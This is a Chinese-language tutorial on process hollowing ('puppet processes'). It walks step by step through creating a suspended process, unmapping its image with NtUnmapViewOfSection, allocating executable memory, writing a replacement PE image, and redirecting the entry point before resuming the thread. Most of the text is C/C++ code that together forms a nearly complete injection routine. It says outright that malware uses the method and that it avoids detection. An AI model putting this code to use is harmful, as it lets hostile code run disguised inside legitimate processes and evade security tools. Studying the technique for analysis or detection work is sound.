前言:
傀儡进程是将目标进程的映射文件替换为指定的映射文件,替换后的进程称之为傀儡进程;常常有恶意程序将隐藏在自己文件内的恶意代码加载进目标进程,而在加载进目标进程之前,会利用ZwUnmpViewOfSection或者NtUnmapViewOfSection进行相关设置
相关技术要点
1.创建挂起进程
系统函数CreateProcessW中参数dwCreationFlgs传递CREATE_SUSPEND便可以创建一个挂起的进程,进程被创建之后系统会为它分配足够的资源和初始化必要的操作,(常见的操作有:为进程分配空间,加载映像文件,创建主进程,将EIP指向代码入口点,并将主线程挂起等)
查看MSDN,下面是CreateProcessW的原型:
BOOL WINAPI CreateProcess(
_In_opt_ LPCTSTR lpApplicationName,
_Inout_opt_ LPTSTR lpCommandLine,
_In_opt_ LPSECURITY_ATTRIBUTES lpProcessAttributes,
_In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes,
_In_ BOOL bInheritHandles,
_In_ DWORD dwCreationFlags,
_In_opt_ LPVOID lpEnvironment,
_In_opt_ LPCTSTR lpCurrentDirectory,
_In_ LPSTARTUPINFO lpStartupInfo,
_Out_ LPPROCESS_INFORMATION lpProcessInformation
);
2.创建挂起进程实例代码:
STARTUPINFOA stSi = {0};
PROCESS_INFORMATION stPi = {0};
stSi.cb = sizeof(stSi);
if (CreateProcessA(strTargetProcess.c_str(),NULL,NULL,
NULL, FALSE,CREATE_SUSPENDED,
NULL, NULL,&stSi, &stPi) == 0)
{
return FALSE;
}
/*
typedef struct _STARTUPINFO {
DWORD cb;/*包含STARTUPINFO结构中的字节数.如果Microsoft将来扩展该结构,它可用作版本控制手段.应用程序必须将cb初始化为sizeof(STARTUPINFO)*/
LPTSTR lpReserved;
LPTSTR lpDesktop;
LPTSTR lpTitle;
DWORD dwX;
DWORD dwY;
DWORD dwXSize;
DWORD dwYSize;
DWORD dwXCountChars;
DWORD dwYCountChars;
DWORD dwFillAttribute;
DWORD dwFlags;
WORD wShowWindow;
WORD cbReserved2;
LPBYTE lpReserved2;
HANDLE hStdInput;
HANDLE hStdOutput;
HANDLE hStdError;
} STARTUPINFO, *LPSTARTUPINFO;
STARTUPINFO结构 该结构用于指定新进程的主窗口特性
typedef struct _PROCESS_INFORMATION {
HANDLE hProcess;//返回新进程的句柄
HANDLE hThread;//返回主线程的句柄
DWORD dwProcessId;//返回一个全局进程标识符
DWORD dwThreadId;//返回一个全局进程标识符
} PROCESS_INFORMATION, *LPPROCESS_INFORMATION;
在创建进程时相关的数据结构之一,该结构返回有关新进程及其主线程的信息
*/
2.保存现场,收集信息
傀儡进程在替换目标进程之前,必须要保存当前线程的上下文环境,在替换完成后要及时恢复。这样系统才能将傀儡进程视为“正常”进程,而不会被发现。另外为了后边清空内存空间的操作,也必须要通过上下文获得进程的加载基地址。利用系统函数GetThreadContext()便可得到当前的线程上下文。相关的API和结构信息如下:
BOOL WINAPI GetThreadContext(
__in HANDLE hThread,
__in_out LPCONTEXT lpContext
);
typedef struct _CONTEXT {
DWORD ContextFlags;
DWORD Dr0;
DWORD Dr1;
DWORD Dr2;
DWORD Dr3;
DWORD Dr6;
DWORD Dr7;
DWORD SegGs;
DWORD SegFs;
DWORD SegEs;
DWORD SegDs;
DWORD Edi;
DWORD Esi;
DWORD Ebx;
DWORD Edx;
DWORD Ecx;
DWORD Eax;
DWORD Ebp;
DWORD Eip;
DWORD SegCs; // MUST BE SANITIZED
DWORD EFlags; // MUST BE SANITIZED
DWORD Esp;
DWORD SegSs;
BYTE ExtendedRegisters[MAXIMUM_SUPPORTED_EXTENSION];
} CONTEXT;
获取线程信息实例代码:
CONTEXT stThreadContext;
stThreadContext.ContextFlags = CONTEXT_FULL;
if (GetThreadContext(stPi.hThread, &stThreadContext) == 0)
{
return FALSE;
}
3.清空目标进程
目标进程被初始化后,进程的映像文件也随之被加载进对应的内存空间。傀儡进程在替换之前必须将目标进程的内容清除掉。此时要用到另外一个系统未文档化的函数NtUnmapViewOfSection,需要自行从ntdll.dll中获取。该函数需要指定的进程加载的基地址,基地址即是从第2步中的上下文取得。相关的函数说明及基地址计算方法如下:
NTSTATUS NtUnmapViewOfSection(
_In_ HANDLE ProcessHandle,
_In_opt_ PVOID BaseAddress
);
context.Ebx+ 8 = 基地址的地址,因此从context.Ebx + 8的地址读取4字节的内容并转化为DWORD类型,既是进程加载的基地址。示例代码如下:
BOOL UnMapTargetProcess(HANDLE hProcess, CONTEXT& stThreadContext)
{
DWORD dwProcessBaseAddr = 0;
if (ReadProcessMemory(hProcess, (LPCVOID)(stThreadContext.Ebx + 8), &dwProcessBaseAddr, sizeof(PVOID), NULL) == 0)
{
return FALSE;
}
HMODULE hNtModule = GetModuleHandle(_T("ntdll.dll"));
if (hNtModule == NULL)
{
return FALSE;
}
NtUnmapViewOfSection pfnNtUnmapViewOfSection = (NtUnmapViewOfSection)GetProcAddress(hNtModule, "NtUnmapViewOfSection");
if (pfnNtUnmapViewOfSection == NULL)
{
return FALSE;
}
return (pfnNtUnmapViewOfSection(hProcess, (PVOID)dwProcessBaseAddr) == 0);
}
4.重新分配空间
在第3步中,NtUnmapViewOfSection将原始空间清除并释放了,因此在写入傀儡进程之前需要重新在目标进程中分配大小足够的空间。需要用到跨进程内存分配函数VirtualAllocEx。
LPVOID WINAPI VirtualAllocEx(
__in HANDLE hProcess,
__in LPVOID lpAddress,
__in SIZE_T dwSize,
__in DWORD flAllocationType,
__in DWORD flProtect
);
一般情况下,在写入傀儡进程之前,需要将傀儡进程对应的文件按照申请空间的首地址作为基地址进行“重定位”,这样才能保证傀儡进程的正常运行。为了避免这一步操作,可以以傀儡进程PE文件头部的建议加载基地址作为VirtualAllocEx 的lpAddress参数,申请与之对应的内存空间,然后以此地址作为基地址将傀儡进程写入目标进程,就不会存在重定位问题。关于“重定位”的原理可以自行网络查找相关资料。示例代码如下
LPVOID lpPuppetProcessBaseAddr =
VirtualAllocEx(stPi.hProcess, (LPVOID)pNtHeaders->OptionalHeader.ImageBase,
pNtHeaders->OptionalHeader.SizeOfImage,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
if (lpPuppetProcessBaseAddr == NULL)
{
return FALSE;
}
5.写入傀儡进程
准备工作完成后,现在开始将傀儡进程的代码写入到对应的空间中,注意写入的时候要按照傀儡进程PE文件头标明的信息进行。一般是先写入PE头,再写入PE节,如果存在附加数据还需要写入附加数据。示例代码如下:
// 替换PE头
BOOL bRet = WriteProcessMemory( stPi.hProcess,
lpPuppetProcessBaseAddr,
lpPuppetProcessData,
pNtHeaders->OptionalHeader.SizeOfHeaders,
NULL);
if (!bRet)
{
return FALSE;
}
// 替换节
LPVOID lpSectionBaseAddr = (LPVOID)((DWORD)lpPuppetProcessData
+ pDosHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS));
PIMAGE_SECTION_HEADER pSectionHeader;
DWORD dwIndex = 0;
for (;dwIndex < pNtHeaders->FileHeader.NumberOfSections; ++dwIndex)
{
pSectionHeader = (PIMAGE_SECTION_HEADER)lpSectionBaseAddr;
bRet = WriteProcessMemory(stPi.hProcess,
(LPVOID)((DWORD)lpPuppetProcessBaseAddr+
pSectionHeader->VirtualAddress),
(LPCVOID)((DWORD)lpPuppetProcessData+ pSectionHeader->PointerToRawData),
pSectionHeader->SizeOfRawData,
NULL);
if (!bRet)
{
return FALSE;
}
lpSectionBaseAddr=(LPVOID)((DWORD)lpSectionBaseAddr+ sizeof(IMAGE_SECTION_HEADER));
}
6. 恢复现场并运行傀儡进程
在第2步中,保存的线程上下文信息需要在此时就需要及时恢复了。由于目标进程和傀儡进程的入口点一般不相同,因此在恢复之前,需要更改一下其中的线程入口点,需要用到系统函数SetThreadContext。将挂起的进程开始运行需要用到函数ResumeThread。
BOOL WINAPI SetThreadContext(
__in HANDLE hThread,
__in const CONTEXT* lpContext
);
DWORD WINAPI ResumeThread(
__in HANDLE hThread
);
// 替换PEB中基地址
DWORD dwImageBase = pNtHeaders->OptionalHeader.ImageBase;
bRet = WriteProcessMemory(stPi.hProcess, (LPVOID)(stThreadContext.Ebx + 8), (LPCVOID)&dwImageBase, sizeof(PVOID), NULL);
if (!bRet)
{
return FALSE;
}
// 替换入口点
stThreadContext.Eax = dwImageBase + pNtHeaders->OptionalHeader.AddressOfEntryPoint;
bRet = SetThreadContext(stPi.hThread, &stThreadContext);
if (!bRet)
{
return FALSE;
}
ResumeThread(stPi.hThread);